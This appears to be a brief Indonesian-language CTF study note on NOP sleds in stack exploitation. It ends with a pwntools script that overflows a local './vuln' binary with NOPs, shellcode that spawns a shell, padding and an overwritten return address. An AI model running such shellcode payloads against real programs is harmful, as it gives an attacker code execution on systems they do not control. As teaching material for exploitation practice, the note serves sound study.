Stack¶
NOPs¶
No Operation Instructions, berarti tidak ada instruksi dan lanjut ke instruksi selanjutnya
cara membuat:
- tambahkan banyak NOP pada awal exploit
- sesuaikan return pointer pada pertengahan NOPs ketimbang awal NOPs
dalam assembly intel x86 dan beberapa soal CTF nilai NOP \x90
contoh:
from pwn import *
context.binary = ELF('./vuln')
p = process()
payload = b'\x90' * 240 # The NOPs
payload += asm(shellcraft.sh()) # The shellcode
payload = payload.ljust(312, b'A') # Padding
payload += p32(0xffffcfb4 + 120) # Address of the buffer + half nop length
log.info(p.clean())
p.sendline(payload)
p.interactive()